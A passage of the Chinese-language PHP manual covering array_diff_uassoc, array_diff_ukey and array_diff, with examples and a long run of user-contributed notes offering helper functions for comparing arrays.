$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_uassoc($array1, $array2, "key_compare_func");
print_r($result);
?>

以上示例会输出：

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

通过用户提供的回调函数检查两个数组的索引是否相等。

注释

Note:

注意本函数只检查了多维数组中的一维。可以用 array_diff_uassoc($array1[0], $array2[0], "key_compare_func"); 检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_uintersect() - 计算数组的交集，用回调函数比较数据
  • array_uintersect_assoc() - 带索引检查计算数组的交集，用回调函数比较数据
  • array_uintersect_uassoc() - 带索引检查计算数组的交集，用单独的回调函数比较数据和索引

User Contributed Notes

MD. ABU SAYEM 11-Mar-2014 06:12
//array_diff_uassoc for multidimenssional array
$color_1=array('a'=>'white','b'=>'red','c'=>array('a'=>'green','b'=>'blue','c'=>'yellow'));
$color_2=array('a'=>'white','b'=>'red','c'=>array('a'=>'white','b'=>'red','c'=>'yellow'));

function key_compare($a,$b){
    if($a===$b)        return 0;
    return($a>$b)?1:-1;
}
print_r(array_diff_uassoc($color_1['c'], $color_2['c'],"key_compare"));

//Output
 Array
(
    [a] => green
    [b] => blue
)


用回调函数对键名比较计算数组的差集

  • ? array_diff_uassoc
  • array_diff ?
  • PHP Manual
  • 数组 函数
  • 用回调函数对键名比较计算数组的差集

array_diff_ukey

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

array_diff_ukey — 用回调函数对键名比较计算数组的差集

说明

array_diff_ukey(array $array, array ...$arrays, callable $key_compare_func): array

将 array 的键与 arrays 的键进行比较并返回不存在于其它数组的键值。本函数和 array_diff() 很像，区别只是用键名来比较而不是值。

此比较是通过用户提供的回调函数来进行的。如果认为第一个参数小于，等于，或大于第二个参数时必须分别返回一个小于零，等于零，或大于零的整数。

参数

array

要比较的数组

arrays

要比较的数组

key_compare_func

在第一个参数小于，等于或大于第二个参数时，该比较函数必须相应地返回一个小于，等于或大于 0 的整数。

callback(mixed $a, mixed $b): int
Caution

从比较函数中返回非整数值，例如 float，将导致内部强制转换为 callback 返回值为 int。因此，诸如 0.99 和 0.1 之类的值都将被转换为整数值 0，将这些值比较的话将会是相等。

返回值

返回一个 array，该数组包含了 array 中存在但其它数组不存在的键值。

示例

Example #1 array_diff_ukey() 例子

<?php
function key_compare_func($key1, $key2)
{
if ($key1 == $key2)
return 0;
else if ($key1 > $key2)
return 1;
else
return -1;
}

$array1 = array('blue' => 1, 'red' => 2, 'green' => 3, 'purple' => 4);
$array2 = array('green' => 5, 'blue' => 6, 'yellow' => 7, 'cyan' => 8);

var_dump(array_diff_ukey($array1, $array2, 'key_compare_func'));
?>

以上示例会输出：

array(2) {
  ["red"]=>
  int(2)
  ["purple"]=>
  int(4)
}

注释

Note:

注意本函数只检查了多维数组中的一维。当然，可以用 array_diff_ukey($array1[0], $array2[0], 'callback_func'); 来检查更深的维度。

参见

  • array_diff() - 计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_diff_uassoc() - 用用户提供的回调函数做索引检查来计算数组的差集
  • array_udiff_assoc() - 带索引检查计算数组的差集，用回调函数比较数据
  • array_udiff_uassoc() - 带索引检查计算数组的差集，用回调函数比较数据和索引
  • array_diff_key() - 使用键名比较计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集
  • array_intersect_uassoc() - 带索引检查计算数组的交集，用回调函数比较索引
  • array_intersect_key() - 使用键名比较计算数组的交集
  • array_intersect_ukey() - 在键名上使用回调函数来比较计算数组的交集

User Contributed Notes

There are no user contributed notes for this page.


计算数组的差集

  • ? array_diff_ukey
  • array_fill_keys ?
  • PHP Manual
  • 数组 函数
  • 计算数组的差集

array_diff

(PHP 4 >= 4.0.1, PHP 5, PHP 7, PHP 8)

array_diff — 计算数组的差集

说明

array_diff(array $array, array ...$arrays): array

对比 array 和其他一个或者多个数组，返回在 array 中但是不在其他 array 里的值。

参数

array

要被对比的数组

arrays

和更多数组进行比较

返回值

返回一个数组，该数组包括了所有在 array 中但是不在任何其它参数数组中的值。注意键名保留不变。 保留数组 array 里的键。

更新日志

版本 | 说明
8.0.0 | 现在可以仅使用一个参数调用此函数。以前，至少需要两个参数。

示例

Example #1 array_diff() 例子

<?php
$array1 = array("a" => "green", "red", "blue", "red");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);
?>

在 $array1 中多次出现的值一样处理，输出结果为：

Array
(
    [1] => blue
)

Example #2 array_diff() 不匹配类型的示例

两个元素只有在 (string) $elem1 === (string) $elem2 相等时视为一致。 也就是字符串转换表达相同。

<?php
// 数组无法转换成字符串时会产生 Notice 警告
$source = [1, 2, 3, 4];
$filter = [3, 4, [5], 6];
$result = array_diff($source, $filter);

// 而这个就可以，因为对象可以转换成字符串
class S {
private $v;

public function __construct(string $v) {
$this->v = $v;
}

public function __toString() {
return $this->v;
}
}

$source = [new S('a'), new S('b'), new S('c')];
$filter = [new S('b'), new S('c'), new S('d')];

$result = array_diff($source, $filter);

// $result 包含了一个 S('a'); 实例
?>

想要使用函数来比较，可使用 array_udiff()。

注释

Note:

注意本函数只检查了多维数组中的一维。当然可以用 array_diff($array1[0], $array2[0]); 检查更深的维度。

参见

  • array_diff_assoc() - 带索引检查计算数组的差集
  • array_udiff() - 用回调函数比较数据来计算数组的差集
  • array_intersect() - 计算数组的交集
  • array_intersect_assoc() - 带索引检查计算数组的交集

User Contributed Notes

Sbastien 13-Mar-2023 09:23
I use array_diff() and array_intersect() to check the completness of a CSV file before processing :

<?php

$header = fgetcsv($stream, ...$csv_options); // ['id', 'name', 'sex']

$awaited = ['id', 'name', 'email']; // Header cols I need in the CSV

$present = array_intersect($header, $awaited); // ['id', 'name']

if (count($present) < count($awaited)) { // 2 < 3 => true, problem!
    $missing = array_diff($present, $awaited); // ['email']
    $missing = join(', ', $missing);
    echo "Missing cols: {$missing}\r\n";
}
Al Amin Chayan (mail at chayan dot me) 21-Sep-2020 04:17
<?php
/**
   * Check If An Array Is A Subset Of Another Array
   *
   * @param  array $subset
   * @param  array $set
   * @return bool
   */
function is_subset(array $subset, array $set): bool {
     return (bool)!array_diff($subset, $set);
}

$u = [1, 5, 6, 8, 10];
$a = [1, 5];
$b = [6, 7];

var_dump(is_subset($a, $u)); // true
var_dump(is_subset($b, $u)); // false
Prakashgun 11-Dec-2017 12:04
If duplicate value comes in the first array, that will be also included. See in the output "blue" comes twice.

<?php

$array1 = array("a" => "green", "red", "blue", "red", "blue");
$array2 = array("b" => "green", "yellow", "red");
$result = array_diff($array1, $array2);

print_r($result);

//Output
//Array ( [1] => blue [3] => blue )
wes dot melton at gmail dot com 20-Jun-2017 09:11
It's important to note that array_diff() is NOT a fast or memory-efficient function on larger arrays.

In my experience, when I find myself running array_diff() on larger arrays (50+ k/v/pairs) I almost always realize that I'm working the problem from the wrong angle.

Typically, when reworking the problem to not require array_diff(), especially on bigger datasets, I find significant performance improvements and optimizations.
james dot PLZNOSPAM at bush dot cc 16-Mar-2017 01:58
If you want a simple way to show values that are in either array, but not both, you can use this:

<?php
function arrayDiff($A, $B) {
    $intersect = array_intersect($A, $B);
    return array_merge(array_diff($A, $intersect), array_diff($B, $intersect));
}
?>

If you want to account for keys, use array_diff_assoc() instead; and if you want to remove empty values, use array_filter().
emeka dot echeruo at gmail dot com 10-May-2016 03:49
Resubmitting... the update for takes into account comparison issues
Computes the difference of all the arrays
<?php

/**
 * array_diffs a�" Computes the difference of all the arrays
 *
 * @param array
 *
 *    array1 - The array to compare from and against
 *    array2 - The array to compare from and against
 *    array(n) - More arrays to compare from and against
 *
 * @return array Returns all the arrays that do contains entries that cannot be matched in any of the arrays.
 */

function array_diffs() {
    $count = func_num_args();
    if($count < 2) {
        trigger_error('Must provide at least 2 arrays for comparison.');
    }
    $check = array();
    $out = array();
     //resolve comparison issue
    $func = function($a, $b) {
        $dbl = function($i, $d) {
            $e = 0.00001;
            if(abs($i-$d) < $e) {
                return true;
            }
            return false;
        };
        if((gettype($a) == 'integer' && gettype($b['value']) == 'double') || (gettype($a) == 'double' && gettype($b['value']) == 'integer')) {
            if((gettype($a) == 'integer' && $dbl((double) $a, $b['value'])) || (gettype($b['value']) == 'integer' && $dbl((double) $b['value'], $a))) {
                return true;
            }
        } elseif((gettype($a) == 'double') && (gettype($b['value']) == 'double')) {
            return $dbl($a,$b['value']);
        } elseif($a == $b['value']) {
            return true;
        }
        return false;
    };
    for($i = 0; $i < $count; $i++) {
        if(!is_array(func_get_arg($i))) {
            trigger_error('Parameters must be passed as arrays.');
        }
        foreach(func_get_arg($i) as $key => $value) {
            if(is_numeric($key) && is_string($value)) {
                if(array_key_exists($value, $check) && $func($value, $check[$value])) {
                    $check[$value]['count'] = $check[$value]['count'] + 1;
                } else {
                    $check[$value]['value'] = $value;
                    $check[$value]['count'] = 1;
                }
            } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                $update = false;
                foreach($check as $check_key => $check_value) {
                    if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value'])) && $func($value, $check_value)) {
                        $update = true;
                        $check[$check_key]['count'] = $check[$check_key]['count'] + 1;
                    }
                }
                if(!$update) {
                    $check[] = array('value' => $value, 'count' => 1);
                }
            } else {
                if(array_key_exists($key, $check) && $func($value, $check[$key])) {
                    $check[$key]['count'] = $check[$key]['count'] + 1;
                } else {
                    $check[$key]['value'] = $value;
                    $check[$key]['count'] = 1;
                }
            }
        }
    }
    foreach($check as $check_key => $check_value) {
        if($check_value['count'] == 1) {
           for ($i = 0; $i < $count; $i++) {
                foreach(func_get_arg($i) as $key => $value) {
                    if(is_numeric($key) && is_string($value) && ($value == (string) $check_key)) {
                        $out[$i][$key] = $value;
                    } elseif(is_numeric($key) && ($check_value['value'] == $value)) {
                        $out[$i][$key] = $value;
                    } elseif(is_string($key) && ($check_value['value'] == $value)) {
                        $out[$i][$key] = $value;
                    }
                }
            }
        }
    }
    return $out;
}

?>
emeka at echeruo at gmail dot com 30-Apr-2016 11:10
Resubmitting... the update for takes into account comparison issues

Computes the difference of all the arrays

<?php

/**
 * array_diffs — Computes the difference of all the arrays
 *
 * @param array
 *
 *    array1 - The array to compare from and against
 *    array2 - The array to compare from and against
 *    array(n) - More arrays to compare from and against
 *
 * @return array Returns all the arrays that do contains entries that cannot be matched in any of the arrays.
 */

function array_diffs() {
    $count = func_num_args();
    if($count < 2) {
        trigger_error('Must provide at least 2 arrays for comparison.');
    }
    $check = array();
    $out = array();
     //resolve comparison issues in PHP
    $func = function($a, $b) {
        if(gettype($a) == 'integer' && gettype($b['value']) == 'double' || gettype($a) == 'double' && gettype($b['value']) == 'integer') {
            if(gettype($a) == 'integer') {
                if((double) $a == $b['value']) {
                    return true;
                }
            } else {
                if((double) $b['value'] == $a) {
                    return true;
                }
            }
        } elseif(gettype($a) == 'double' && gettype($b['value']) == 'double') {
            $epsilon = 0.00001;
            if(abs($a - $b['value']) < $epsilon) {
                return true;
            }
        } else {
            if($a == $b['value']) {
                return true;
            }
        }
        return false;
    };
    for ($i = 0; $i < $count; $i++) {
        if(!is_array(func_get_arg($i))) {
            trigger_error('Parameters must be passed as arrays.');
        }
        foreach(func_get_arg($i) as $key => $value) {
            if(is_numeric($key) && is_string($value)) {
                if(array_key_exists($value, $check) && $func($value, $check[$value])) {
                    $check[$value]['count'] = $check[$value]['count'] + 1;
                } else {
                    $check[$value]['value'] = $value;
                    $check[$value]['count'] = 1;
                }
            } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                $update = false;
                foreach($check as $check_key => $check_value) {
                    if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value']))) {
                        if($func($value, $check_value)) {
                            $update = true;
                            $check[$check_key]['count'] = $check[$check_key]['count'] + 1;
                        }
                    }
                }
                if(!$update) {
                    $check[] = array('value' => $value, 'count' => 1);
                }
            } else {
                if(array_key_exists($key, $check) && $func($value, $check[$key])) {
                    $check[$key]['count'] = $check[$key]['count'] + 1;
                } else {
                    $check[$key]['value'] = $value;
                    $check[$key]['count'] = 1;
                }
            }
        }
    }
    foreach($check as $check_key => $check_value) {
        if($check_value['count'] == 1) {
            for ($i = 0; $i < $count; $i++) {
                foreach(func_get_arg($i) as $key => $value) {
                    if(is_numeric($key) && is_string($value)) {
                        if($value == (string) $check_key) {
                            $out[$i][$key] = $value;
                        }
                    } elseif(is_numeric($key) && (is_bool($value) || is_null($value) || is_numeric($value) || is_object($value) || is_resource($value))) {
                        if(is_numeric($key) && (is_bool($check_value['value']) || is_null($check_value['value']) || is_numeric($check_value['value']) || is_object($check_value['value']) || is_resource($check_value['value']))) {
                            if($check_value['value'] == $value) {
                                $out[$i][$key] = $value;
                            }
                        }
                    } else {
                        if($key == $check_key) {
                            $out[$i][$key] = $value;
                        }
                    }
                }
            }
        }
    }
    return $out;
}

?>
Anonymous 05-May-2015 06:50
I always wanted something like this to avoid listing all the files and folders you want to exclude in a project directory.

function array_preg_diff($a, $p) {
    foreach ($a as $i => $v)
        if (preg_match($p, $v))
            unset($a[$i]);
    return $a;
}

$relevantFiles = array_preg_diff(scandir('somedir'), '/^\./');

instead of

$relevantFiles = array_diff(scandir('somedir'), array('.', '..', '.idea', '.project));
Anonymous 28-Jan-2015 04:00
If you're not getting a count(array_diff($a1,$a2))>0 with something similar to the following arrays should use the php.net/array_diff_assoc function instead.

$a1 = Array
(
    [0] => id
    [1] => id_1
    [2] => id_2
)

$a2 = Array
(
    [0] => id
    [1] => id_2
    [2] => id_1
)
wrey75 at gmail dot com 03-Dec-2014 10:27
The difference is made only on the first level. If you want compare 2 arrays, you can use the code available at https://gist.github.com/wrey75/c631f6fe9c975354aec7 (including a class with an function to patch the array)

Here the basic function:

function my_array_diff($arr1, $arr2) {
        $diff = array();

        // Check the similarities
        foreach( $arr1 as $k1=>$v1 ){
            if( isset( $arr2[$k1]) ){
                $v2 = $arr2[$k1];
                if( is_array($v1) && is_array($v2) ){
                    // 2 arrays: just go further...
                    // .. and explain it's an update!
                    $changes = self::diff($v1, $v2);
                    if( count($changes) > 0 ){
                        // If we have no change, simply ignore
                        $diff[$k1] = array('upd' => $changes);
                    }
                    unset($arr2[$k1]); // don't forget
                }
                else if( $v2 === $v1 ){
                    // unset the value on the second array
                    // for the "surplus"
                    unset( $arr2[$k1] );
                }
                else {
                    // Don't mind if arrays or not.
                    $diff[$k1] = array( 'old' => $v1, 'new'=>$v2 );
                    unset( $arr2[$k1] );
                }
            }
            else {
                // remove information
                $diff[$k1] = array( 'old' => $v1 );
            }
        }

        // Now, check for new stuff in $arr2
        reset( $arr2 ); // Don't argue it's unnecessary (even I believe you)
        foreach( $arr2 as $k=>$v ){
            // OK, it is quite stupid my friend
            $diff[$k] = array( 'new' => $v );
        }
        return $diff;
    }
Jeppe Utzon 08-Nov-2012 02:28
If you just need to know if two arrays' values are exactly the same (regardless of keys and order), then instead of using array_diff, this is a simple method:

<?php

function identical_values( $arrayA , $arrayB ) {

    sort( $arrayA );
    sort( $arrayB );

    return $arrayA == $arrayB;
}

// Examples:

$array1 = array( "red" , "green" , "blue" );
$array2 = array( "green" , "red" , "blue" );
$array3 = array( "red" , "green" , "blue" , "yellow" );
$array4 = array( "red" , "yellow" , "blue" );
$array5 = array( "x" => "red" , "y" =>  "green" , "z" => "blue" );

identical_values( $array1 , $array2 );  // true
identical_values( $array1 , $array3 );  // false
identical_values( $array1 , $array4 );  // false
identical_values( $array1 , $array5 );  // true

?>

The function returns true only if the two arrays contain the same number of values and each value in one array has an exact duplicate in the other array. Everything else will return false.

my alternative method for evaluating if two arrays contain (all) identical values:

<?php

sort($a); $sort(b); return $a == $b;

?>

may be slightly faster (10-20%) than this array_diff method:

<?php

return ( count( $a ) == count( $b ) && !array_diff( $a , $b ) ? true : false );

?>

but only when the two arrays contain the same number of values and then only in some cases. Otherwise the latter method will be radically faster due to the use of a count() test before the array_diff().

Also, if the two arrays contain a different number of values, then which method is faster will depend on whether both arrays need to be sorted or not. Two times sort() is a bit slower than one time array_diff(), but if one of the arrays have already been sorted, then you only have to sort the other array and this will be almost twice as fast as array_diff().

Basically: 2 x sort() is slower than 1 x array_diff() is slower than 1 x sort().
merlyn dot tgz at gmail dot com 15-Mar-2012 10:08
There is more fast implementation of array_diff, but with some limitations. If you need compare two arrays of integers or strings you can use such function:

    public static function arrayDiffEmulation($arrayFrom, $arrayAgainst)
    {
        $arrayAgainst = array_flip($arrayAgainst);

        foreach ($arrayFrom as $key => $value) {
            if(isset($arrayAgainst[$value])) {
                unset($arrayFrom[$key]);
            }
        }

        return $arrayFrom;
    }

It is ~10x faster than array_diff

php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = array_diff($a, $b);echo microtime(true) - $t;
4.4335179328918
php > $t = microtime(true);$a = range(0,25000); $b = range(15000,500000); $c = arrayDiffEmulation($a, $b);echo microtime(true) - $t;
0.37219095230103
eugeny dot yakimovitch at gmail dot com 30-Dec-2010 03:17
Note that array_diff is not equivalent to

<?php
function fullArrayDiff($left, $right)
{
    return array_diff(array_merge($left, $right), array_intersect($left, $right));
}
?>

since it is a set-theoretical complement as in

http://en.wikipedia.org/wiki/Complement_(set_theory)
javierchinapequeno at yahoo dot es 21-Dec-2010 11:21
Hi, I′d like to give a piece of advice to all who need to use this function to compare two arrays that have a great quantity of elements. You should sort both arrays first before comparing, it will work faster.
Thanks
vojtech dot hordejcuk at gmail dot com 03-Nov-2009 07:15
Based on one lad's code, I created following function for creating something like HTML diff. I hope it will be useful.

<?php
private function diff ($old, $new)
{
  $old = preg_replace ('/ +/', ' ', $old);
  $new = preg_replace ('/ +/', ' ', $new);

  $lo = explode ("\n", trim ($old) . "\n");
  $ln = explode ("\n", trim ($new) . "\n");
  $size = max (count ($lo), count ($ln));

  $equ = array_intersect ($lo, $ln);
  $ins = array_diff ($ln, $lo);
  $del = array_diff ($lo, $ln);

  $out = '';

  for ($i = 0; $i < $size; $i++)
  {
    if (isset ($del [$i]))
    {
      $out .= '<p><del>' . $del [$i] . '</del></p>';
    }

    if (isset ($equ [$i]))
    {
      $out .= '<p>' . $equ [$i] . '</p>';
    }

    if (isset ($ins [$i]))
    {
      $out .= '<p><ins>' . $ins [$i] . '</ins></p>';
    }
  }

  return $out;
}
?>
Anonymous 15-Oct-2009 11:55
Hi!
I tried hard to find a solution to a problem I'm going to explain here, and after have read all the array functions and possibilities, I had to create what I think should exist on next PHP releases.

What I needed, it's some kind of Difference, but working with two arrays and modifying them at time, not returning an array as a result with the diference itself.

So, as an example:

A = 1,2,3
B = 2,3,4

should NOT be:

C = 1,4

but:

A = 1
B = 4

so basically, I wanted to delete coincidences on both arrays.

Now, I've some actions to do, and I know wich one I've to do with the values from one array or another.
With the normal DIFF I can't, because if I've an array like C=1,4, I dont know if I've to do the Action_A with 1 or with 4, but I really know that everything in A, will go to the Action_A and everithing in B, will go to Action_B. So same happens with 4, don't know wich action to apply...

So I created this:

<?php
function array_diff_ORG_NEW(&$org, &$new, $type='VALUES'){
    switch($type){
        case 'VALUES':
            $int = array_values(array_intersect($org, $new)); //C = A ^ B
            $org = array_values(array_diff($org, $int)); //A' = A - C
            $new= array_values(array_diff($new, $int)); //B' = B - C
            break;
        case 'KEYS':
            $int = array_values(array_intersect_key($org, $new)); //C = A ^ B
            $org = array_values(array_diff_key($org, $int)); //A' = A - C
            $new= array_values(array_diff_key($new, $int)); //B' = B - C
            break;
    }
}
?>

This cute, works by reference, and modifies the arrays deleting coincidences on both, and leaving intact the non coincidences.

So a call to this will be somethin' like:

<?php
$original = array(1,2,3);
$new = array(2,3,4);

array_diff_ORG_NEW($original, $new, 'VALUES');
?>

And HERE, I'll have my arrays as I wanted:

$original = 1
$new = 4

Now, why I use it precisely?

Imagine you've some "Events" and some users you select when create the event, can "see" this event you create. So you "share" the event with some users. Ok?

Imagine you created and Event_A, and shared with users 1,2,3.

Now you want to modify the event, and you decide to modify the users to share it. Imagine you change it to users 2,3,4.

(numbers are users ID).

So you can manage when you are going to modify, to have an array with the IDs in DDBB ($original), and then, have another array with ID's corresponding to the users to share after modifying ($new). Wich ones you've to DELETE from DDBB, and wich ones do you've to INSERT?

If you do a simple difference or somehow, you get somethin' like C=1,4.
You have no clue on wich one you've to insert or delete.

But on this way, you can know it, and that's why:

- What keeps on $original, it's somethin not existing in $new at the beggining. So you know that all what you've inside $original, have to be deleted from DDBB because what you did in the modifying process, it's to unselect those users keeping in $original.
- What keeps on $new, it's something not existing in $original at the beggining. Wich means that in the modifying process you added some new users. And those have to be inserted in DDBB. So, everything keeping inside $new, have to be inserted in the DDBB.

Conclusion:

- Remaining in $original --> delete from DB.
- Remaining in $new --> insert into DB.

And that's all!

I hope you find it useful, and I encourage PHP "makers", to add in a not distant future, somethin' like this one natively, because I'm shure that I'm not the first one needing something like this.

Best regards all,

Light.
firegun at terra dot com dot br 24-Jun-2009 10:52
Hello guys,

I′ve been looking for a array_diff that works with recursive arrays, I′ve tried the ottodenn at gmail dot com function but to my case it doesn′t worked as expected, so I made my own. I′ve haven′t tested this extensively, but I′ll explain my scenario, and this works great at that case :D

We got 2 arrays like these:

<?php
$aArray1['marcie'] = array('banana' => 1, 'orange' => 1, 'pasta' => 1);
$aArray1['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);

$aArray2['marcie'] = array('banana' => 1, 'orange' => 1);
?>

As array_diff, this function returns all the items that is in aArray1 and IS NOT at aArray2, so the result we should expect is:

<?php
$aDiff['marcie'] = array('pasta' => 1);
$aDiff['kenji'] = array('apple' => 1, 'pie' => 1, 'pasta' => 1);
?>

Ok, now some comments about this function:
 - Different from the PHP array_diff, this function DON′T uses the === operator, but the ==, so 0 is equal to '0' or false, but this can be changed with no impacts.
 - This function checks the keys of the arrays, array_diff only compares the values.

I realy hopes that this could help some1 as I′ve been helped a lot with some users experiences. (Just please double check if it would work for your case, as I sad I just tested to a scenario like the one I exposed)

<?php
function arrayRecursiveDiff($aArray1, $aArray2) {
    $aReturn = array();

    foreach ($aArray1 as $mKey => $mValue) {
        if (array_key_exists($mKey, $aArray2)) {
            if (is_array($mValue)) {
                $aRecursiveDiff = arrayRecursiveDiff($mValue, $aArray2[$mKey]);
                if (count($aRecursiveDiff)) { $aReturn[$mKey] = $aRecursiveDiff; }
            } else {
                if ($mValue != $aArray2[$mKey]) {
                    $aReturn[$mKey] = $mValue;
                }
            }
        } else {
            $aReturn[$mKey] = $mValue;
        }
    }

    return $aReturn;
}
?>
Tim Trefren 04-Apr-2008 08:05
Here's a little wrapper for array_diff - I found myself needing to iterate through the edited array, and I didn't need to original keys for anything.

<?php
function arrayDiff($array1, $array2){
    # This wrapper for array_diff rekeys the array returned
    $valid_array = array_diff($array1,$array2);

    # reinstantiate $array1 variable
    $array1 = array();

    # loop through the validated array and move elements to $array1
    # this is necessary because the array_diff function returns arrays that retain their original keys
    foreach ($valid_array as $valid){
        $array1[] = $valid;
        }
    return $array1;
    }
?>
merlinyoda at dorproject dot net 28-Mar-2008 10:11
As touched on in kitchin's comment of 19-Jun-2007 03:49 and nilsandre at gmx dot de's comment of 17-Jul-2007 10:45, array_diff's behavior may be counter-intuitive if you aren't thinking in terms of set theory.

array_diff() returns a *mathematical* difference (a.k.a. subtraction) of elements in array A that are in array B and *not* what elements are different between the arrays (i.e. those that elements that are in either A or B but aren't in both A and B).

Drawing one of those Ven diagrams or Euler diagrams may help with visualization...

As far as a function for returning what you may be expecting, here's one:

<?php
function array_xor ($array_a, $array_b) {
    $union_array = array_merge($array_a, $array_b);
    $intersect_array = array_intersect($array_a, $array_b);
    return array_diff($union_array, $intersect_array)
}
?>
nilsandre at gmx dot de 17-Jul-2007 09:45
Again, the function's description is misleading right now. I sought a function, which (mathematically) computes A - B, or, written differently, A \ B. Or, again in other words, suppose

A := {a1, ..., an} and B:= {a1, b1, ... , bm}

=> array_diff(A,B) = {a2, ..., an}

array_diff(A,B) returns all elements from A, which are not elements of B (= A without B).

You should include this in the documentation more precisely, I think.
gilthans at NOgmailSPAM dot com 13-Jun-2007 10:11
I needed a function to only remove the element the amount of times he appears in the second array. In other words, if you have Array(1, 1, 2) and Array(1), the return value should be Array(1, 2).
So I built this function right here:

<?php
function array_diff_once(){
    if(($args = func_num_args()) < 2)
        return false;
    $arr1 = func_get_arg(0);
    $arr2 = func_get_arg(1);
    if(!is_array($arr1) || !is_array($arr2))
        return false;
    foreach($arr2 as $remove){
        foreach($arr1 as $k=>$v){
            if((string)$v === (string)$remove){ //NOTE: if you need the diff to be STRICT, remove both the '(string)'s
                unset($arr1[$k]);
                break; //That's pretty much the only difference from the real array_diff :P
            }
        }
    }
    //Handle more than 2 arguments
    $c = $args;
    while($c > 2){
        $c--;
        $arr1 = array_diff_once($arr1, func_get_arg($args-$c+1));
    }
    return $arr1;
}
$arr1 = Array("blue", "four"=>4, "color"=>"red", "blue", "green", "green", "name"=>"jon", "green");
$arr2 = Array("4", "red", "blue", "green");
print_r(array_diff_once($arr1, $arr2));
?>
This prints:
Array ( [1] => blue [3] => green [name] => jon [4] => green )

Note that it removes the elements left to right, opposite to what you might expect; in my case the order of elements had no importance. Fixing that would require a small variation.
03-Aug-2006 12:30
array_diff provides a handy way of deleting array elements by their value, without having to unset it by key, through a lengthy foreach loop and then having to rekey the array.

<?php

//pass value you wish to delete and the array to delete from
function array_delete( $value, $array)
{
    $array = array_diff( $array, array($value) );
    return $array;
}
?>
Simon Riget at paragi.dk 21-Jan-2006 05:27
A simple multidimentional key aware array_diff function.

<?php
function arr_diff($a1,$a2){
  foreach($a1 as $k=>$v){
    unset($dv);
    if(is_int($k)){
      // Compare values
      if(array_search($v,$a2)===false) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[]=$dv;
    }else{
      // Compare noninteger keys
      if(!$a2[$k]) $dv=$v;
      else if(is_array($v)) $dv=arr_diff($v,$a2[$k]);
      if($dv) $diff[$k]=$dv;
    }
  }
  return $diff;
}
?>

This function meets my immidiate needs but I'm shure it can be improved.
Viking Coder 03-Jan-2006 09:07
To anybody wanting a double-sided array_diff - mentioned by rudigier at noxx dot at. Remember, array_diff gives you everything in the first array that isn't in the subsequent arrays.

$array1=array('blue','red','green');
$array2=array('blue','yellow','green');

array_merge(array_diff($array1, $array2),array_diff($array2, $array1));

Result
------
Array
(
    [0] => red
    [1] => yellow
)
j dot j dot d dot mol at ewi dot tudelft dot nl 31-Dec-2004 12:34
Here is some code to take the difference of two arrays. It allows custom modifications like prefixing with a certain string (as shown) or custom compare functions.

<?php
 // returns all elements in $all which are not in $used in O(n log n) time.
  // elements from $all are prefixed with $prefix_all.
  // elements from $used are prefixed with $prefix_used.
  function filter_unused( $all, $used, $prefix_all = "", $prefix_used = "" ) {
      $unused = array();

      // prefixes are not needed for sorting
      sort( $all );
      sort( $used );

      $a = 0;
      $u = 0;

      $maxa = sizeof($all)-1;
      $maxu = sizeof($used)-1;

      while( true ) {
          if( $a > $maxa ) {
              // done; rest of $used isn't in $all
              break;
          }
          if( $u > $maxu ) {
              // rest of $all is unused
              for( ; $a <= $maxa; $a++ ) {
                  $unused[] = $all[$a];
              }
              break;
          }

          if( $prefix_all.$all[$a] > $prefix_used.$used[$u] ) {
              // $used[$u] isn't in $all?
              $u++;
              continue;
          }

          if( $prefix_all.$all[$a] == $prefix_used.$used[$u] ) {
              // $all[$a] is used
              $a++;
              $u++;
              continue;
          }

          $unused[] = $all[$a];

          $a++;
      }

      return $unused;
  }
?>
18-Nov-2003 04:54
From the page:
Note:  Please note that this function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using array_diff($array1[0], $array2[0]);

I've found a way to bypass that. I had 2 arrays made of arrays.
I wanted to extract from the first array all the arrays not found in the second array. So I used the serialize() function:

<?php
function my_serialize(&$arr,$pos){
  $arr = serialize($arr);
}

function my_unserialize(&$arr,$pos){
  $arr = unserialize($arr);
}

 //make a copy
$first_array_s = $first_array;
$second_array_s = $second_array;

// serialize all sub-arrays
array_walk($first_array_s,'my_serialize');
array_walk($second_array_s,'my_serialize');

// array_diff the serialized versions
$diff = array_diff($first_array_s,$second_array_s);

// unserialize the result
array_walk($diff,'my_unserialize');

// you've got it!
print_r($diff);
?>
ds2u at the hotmail dot com 23-Feb-2003 04:22
Yes you can get rid of gaps/missing keys by using:

<?php
$result = array_values(array_diff($array1,$array2));
?>

But to drop the storage of void spaces (actually a line feed) which are irritatingly indexed when reading from files - just use difference:

<?php
$array = array ();
$array[0] = "\n";
$result = array_diff($result,$array);
?>

dst
SeanECoates at !donotspam!yahoo dot ca 16-Oct-2001 10:43
I just came upon a really good use for array_diff(). When reading a dir(opendir;readdir), I _rarely_ want "." or ".." to be in the array of files I'm creating. Here's a simple way to remove them:

<?php
 $someFiles = array();
 $dp = opendir("/some/dir");
 while($someFiles[] = readdir($dp));
 closedir($dp);

 $removeDirs = array(".","..");
 $someFiles = array_diff($someFiles, $removeDirs);

 foreach($someFiles AS $thisFile) echo $thisFile."\n";
?>

S


使用指定的键和值填充数组

  • ? array_diff
